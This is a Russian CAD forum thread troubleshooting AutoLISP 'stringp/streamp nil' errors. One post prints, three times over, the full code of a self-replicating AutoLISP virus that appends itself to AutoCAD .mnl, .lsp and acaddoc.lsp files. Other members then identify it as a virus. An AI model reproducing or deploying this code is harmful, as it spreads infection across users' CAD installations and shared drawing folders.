| Правила | Регистрация | Пользователи | Поиск | Сообщения за день | Все разделы прочитаны |  Справка по форуму | Файлообменник |

Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > В чем проблема? "error: bad argument type: stringp nil&

В чем проблема? "error: bad argument type: stringp nil&

Ответ
Поиск в этой теме
Непрочитано 17.01.2006, 21:26 #1
В чем проблема? "error: bad argument type: stringp nil&
Gim
 
Регистрация: 16.01.2006
Сообщений: 5

Всем, добрый день!
Помогите пожалуйста: пытаюсь загрузить через автолисп программу "прокат" (prkt) из Paper8.0 в автокаде 2006, но на команду _prkt, мне выдается сообщение : error: bad argument type: stringp nil
Хотя, таким же способом на другой машине с таким же акадом все работает без проблем.
Как это вылечить?
Заранее всем спасибо
Просмотров: 17036
 
Непрочитано 17.01.2006, 22:12
#2
{Smirnoff}

Инженер по системам безопасности
 
Регистрация: 23.11.2003
Рига
Сообщений: 1,099


Где то в процессе исполнения кода переменная которая должна быть строкой принимает значение NIL, либо вообще не назначается.

Причиной этого может быть либо несовместимось работы кода в 2006-м, либо отсутствие какой либо функции которая напрямую не вызывается основной, однако в процессе загрузки должна создавать такую глобальную переменную.

В общем надо смотреть код. В AutoLISP такие проблеммы легко обнаруживатся и решаются. Если есть желание то - код в студию
{Smirnoff} вне форума  
 
Непрочитано 18.01.2006, 10:30
#3
Alan

CAD
 
Регистрация: 28.08.2003
Киев
Сообщений: 1,835
<phrase 1=


>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
Alan вне форума  
 
Автор темы   Непрочитано 18.01.2006, 22:10
#4
Gim


 
Регистрация: 16.01.2006
Сообщений: 5


Цитата:
Сообщение от Alan
>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
Версия Автокада англ.+ SP1. Дело в том, что этот же самый кад стоит и на работе, где работает программа "Prokat" без проблем. Единственное отличие, так это то, что там стоит Win_xp Home с SP2, а дома, где и не работает, система Win_xp Prof. c SP1. Чистил реестр вручную, переустанавливал с SP1 и без, результат: error: bad argument type: stringp nil

Прилагаю папку с файликами, может что-то там и не так?
[ATTACH]1137611429.rar[/ATTACH]
Gim вне форума  
 
Непрочитано 18.01.2006, 22:32
#5
Torino


 
Регистрация: 21.08.2003
Штаб
Сообщений: 943
<phrase 1=


Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Torino вне форума  
 
Непрочитано 19.01.2006, 11:51
#6
Alan

CAD
 
Регистрация: 28.08.2003
Киев
Сообщений: 1,835
<phrase 1=


>Gim
Это не моя правка. Для вашего варианта Torino дал решение.
Alan вне форума  
 
Автор темы   Непрочитано 19.01.2006, 19:35
#7
Gim


 
Регистрация: 16.01.2006
Сообщений: 5


Цитата:
Сообщение от Torino
Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Спасибо,работает.
Gim вне форума  
 
Непрочитано 05.09.2013, 10:56
#8
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


Здравствуйте.
Помогите пожалуйста. Суть проблемы следующая: был автокад и все в нем работало безупречно. Но с недавнего времени появилась эта ошибка error: bad argument type: streamp nil
Вообще программка PD.VLX должна загружаться автоматически, но теперь она отказывается это делать а при насильном перестаскивани в окно автокада выдет эту пресловутую ошибку.
Помогите разобраться чего вдруг перестало хватать автокаду.
Вот что выдает командная строка:
Цитата:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
; error: bad argument type: streamp nil

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
; error: bad argument type: streamp nil

AutoCAD menu utilities loaded.
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
; error: bad argument type: streamp nil


не могу создать файл *.txt с этим текстом внутри он сразу же исчезает

Последний раз редактировалось Кулик Алексей aka kpblc, 05.09.2013 в 11:24.
4u4undra7410 вне форума  
 
Непрочитано 05.09.2013, 11:24
#9
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 39,787


4u4undra7410, откуда ты эту программу взял-то? И почему на автора не выйти?
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
 
Непрочитано 05.09.2013, 11:43
#10
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


это ассистенты к 3Д Инжинирингу. Компании больше нет - соответсвенно я не могу найти автора. Кроме того не мог же я изменить откомпилированный файл. Что-то изменилось в самом автокаде или в винде. Я наделялся с вашей помощью найти в коде виновника торжества. Конкретно этот ассистент изменяет плавность дуг прячет образующие в общем меняет параметры вкладки display и меняет масштаб линий. Зачем он ищет файла автокада, когда он в него загружен не понимаю. И самое страшное почему исчезают файлы формата *.txt (хотел приложить его к сообщению) если в них сохранить этот код - прям матрица какая-то.

Последний раз редактировалось 4u4undra7410, 05.09.2013 в 11:56.
4u4undra7410 вне форума  
 
Непрочитано 05.09.2013, 12:13
#11
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 39,787


ИМХО будет проще сделать не так:
1. Определить, какие системные переменные изменяются
2. Нарисовать собственный код, выполняющий эти действия

Похоже, меняются dispsilh, whiparc, ltscale, возможно - celtscale.

P.S. Приложить к сообщению на форуме файл txt нельзя (см.внимательно на окно управления файлами - там расширения txt нет). Можно заархивировать, например - и прикладывать уже архив).
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
 
Непрочитано 05.09.2013, 13:49
#12
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


Спасибо за совет. Я так понимаю определить кто именно возвращает пресловутый 0 нет никакой возможности. Написать свой код я пока не умею, но, видимо, придется учиться. Да и ассистентов этих несколько - этот самый востребованный. Будем лечить хирургическим вмешательством - удалить и установить заново.

Offtop: P.S. Да его (txt) даже создать нельзя. Он исчезает (удаляется, может куда-то переносится я не знаю) как только жмешь "сохранить" и закрываешь окно блокнота. этот код меня дурачком скоро сделает
4u4undra7410 вне форума  
 
Непрочитано 05.09.2013, 15:25
#13
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


Цитата:
Сообщение от 4u4undra7410 Посмотреть сообщение
от что выдает командная строка:
вирус
gomer вне форума  
 
Непрочитано 05.09.2013, 15:51
#14
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


Источник зла найден! нет не вирус, как раз наоборот - доктор веб. На находку натолкнуло загадочное поведение файла txt с с копированным кодом. Судя по логам веба он изменил (ведь не удалил же, мерзавец) файлы настроек автокада. Теперь осталось найти донорскую машину с еще не тронутыми файлами. Спасибо большое всем за участие. И помните -полтергейста не бывает, всему есть рациональное объяснение.
4u4undra7410 вне форума  
 
Непрочитано 05.09.2013, 15:52
#15
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 39,787


Похоже, gomer прав, а DrWeb просто честно пытается уничтожить вирусню.
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
 
Непрочитано 05.09.2013, 16:54
#16
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


Offtop: Баба яга против! по целому ряду причин:
1. странный вирус какой-то направленный на очень непопулярный файл формата *.VLX
2. зачем все тому же вирусу прицепляться к файлам конфигурации автокада (промышленный шпионаж?)?
3. почему вебом были вылечены исключительно файлы меню и настроек все того же автокада (вирус собирает статистику по настройкам автокада?).

Я полагаю, что веба после его обновления смутила автозагрузка 3Д инжиниринга и его дополнительных файлов. и он изящненько так изменил ( ну или как он говорит вылечил) те строки конфигурации которые подгружали эти маленькие, но приятные утилитки.
4u4undra7410 вне форума  
 
Непрочитано 05.09.2013, 17:43
#17
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 39,787


4u4undra7410, во-первых: http://adn-cis.org/posledovatelnost-...v-autocad.html + http://adn-cis.org/autocad-autoload-security.html
Во-вторых, вирусы "только под AutoCAD" существуют: Не работают некоторые команды и множатся файлы acaddoc.lsp
В-третьих, vlx компилирован, и его просто так не распознаешь. Файлы cui, cuix, mnl вскрываются "на раз" (первая ссылка).

Смотри ссылки на статьи и думай, как и что надо менять в загрузке своего дополнения.
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
 
Непрочитано 05.09.2013, 18:20
#18
4u4undra7410


 
Регистрация: 05.09.2013
Сообщений: 6


Понял, осознал, раскаялся. Пошел учить матчасть. блин вирус для автокада... куда мир катится?
4u4undra7410 вне форума  
 
Непрочитано 08.12.2016, 09:48
#19
Kiryl.D

Архитектор-генпланист
 
Регистрация: 20.01.2014
Минск
Сообщений: 18
Отправить сообщение для Kiryl.D с помощью Skype™


Товарищи, такая же проблема. Создал шаблон для autocad для отдела генерального плана, но создавал в 2017 автокаде. У большинства сотрудников в отделе стоит еще 2010. При попытки открыть у них файл этого шаблона выдает ошибку в командной строке: stringp nil. Я так понимаю это из-за несовместимости версия, как тут выше писали нет используемых функций в 2010 каде, которые применены в шаблоне. Как-то обойти можно ошибку? Или экспортировать шаблон для 2010, на подобии того как сохраняются чертежи для полее поздних версий. Просто в "Сохранить как" нельзя выбирать версию DWT файла.
Kiryl.D вне форума  
 
Непрочитано 08.12.2016, 09:58
#20
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 39,787


Файл dwt сам по себе не загружает никаких приложений. Намек ясен?
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
Ответ
Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > В чем проблема? "error: bad argument type: stringp nil&

Размещение рекламы
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обновление программы «Прокат» Василия Кондрата Владимир М LISP 851 14.03.2023 14:31
AutoCAD 2012 zenon AutoCAD 168 08.04.2013 16:01
Проблема с шрифтом GOST type b - "неровные" буквы Алексей Попов AutoCAD 2 15.03.2011 14:05
проблема со шрифтом GOST type B при печати из AutoCad sergei78 AutoCAD 10 03.12.2009 15:39